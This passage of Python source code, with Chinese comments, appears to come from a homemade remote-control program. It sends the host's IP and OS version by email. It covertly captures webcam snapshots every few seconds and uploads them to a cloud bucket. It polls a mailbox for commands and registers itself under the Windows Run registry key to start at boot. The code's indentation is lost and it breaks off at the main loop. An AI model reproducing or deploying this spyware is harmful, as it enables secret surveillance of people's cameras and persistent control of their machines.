smtp.login("sender@sina.com","*****")
smtp.sendmail("sender@sina.com","receiver@qq.com", msgRoot.as_string())
smtp.quit()
print 'send success'
#摄像头截图,每隔SLEEP_TIME秒截取一张
def camera_capture():
#抓取频率
SLEEP_TIME=3
i=0
cam=Device(devnum=0, showVideoWindow=0)
while i<10:
cam_time=time.strftime('%Y%m%d%H%M%S',time.localtime(time.time()))
cam_name='camera'+cam_time+'.jpg'
cam.saveSnapshot(cam_name,3,1,'bl')
camera_upload(cam_name)
print str(i)+cam_name
os.remove(cam_name)
time.sleep(SLEEP_TIME)
i+=1
#上传到七牛
def camera_upload(file):
policy = qiniu.rs.PutPolicy('iloster') #空间名,iloster是我的空间名
uptoken = policy.token()
ret, err = qiniu.io.put_file(uptoken, None, file)
if err is not None:
sys.stderr.write('error: %s ' % err)
#获取最新邮件
def accept_mail():
pop=poplib.POP3_SSL('pop.qq.com')
pop.user('receiver@qq.com')
pop.pass_('*****')
#获取邮件数目
(num,totalSize)=pop.stat()
#获取最新的邮件
(heard,msg,octets)=pop.retr(num)
mail=email.message_from_string("n".join(msg))
subject=email.Header.decode_header(mail['subject'])[0][0] #标题
pop.quit()
return subject
#获得程序的路径
def getPath():
path=os.getcwd()+'Remote.exe' #最后打包的exe程序名必须为Remote.exe,或者把这里改一下
print path
return path
#添加开机自启动,在注册表里注册
def add_start(path):
subkey='SOFTWAREMicrosoftWindowsCurrentVersionRun'
key=win32api.RegOpenKey(win32con.HKEY_LOCAL_MACHINE,subkey,0,win32con.KEY_ALL_ACCESS)
#print win32api.RegQueryValueEx(key,'python')
win32api.RegSetValueEx(key,'python',0,win32con.REG_SZ,path)
print win32api.RegQueryValueEx(key,'python')
if __name__=='__main__':
add_start(getPath()) #添加开机自启动
send_Information(getIP(),getSystemVersion())
while 1: #不断的监听










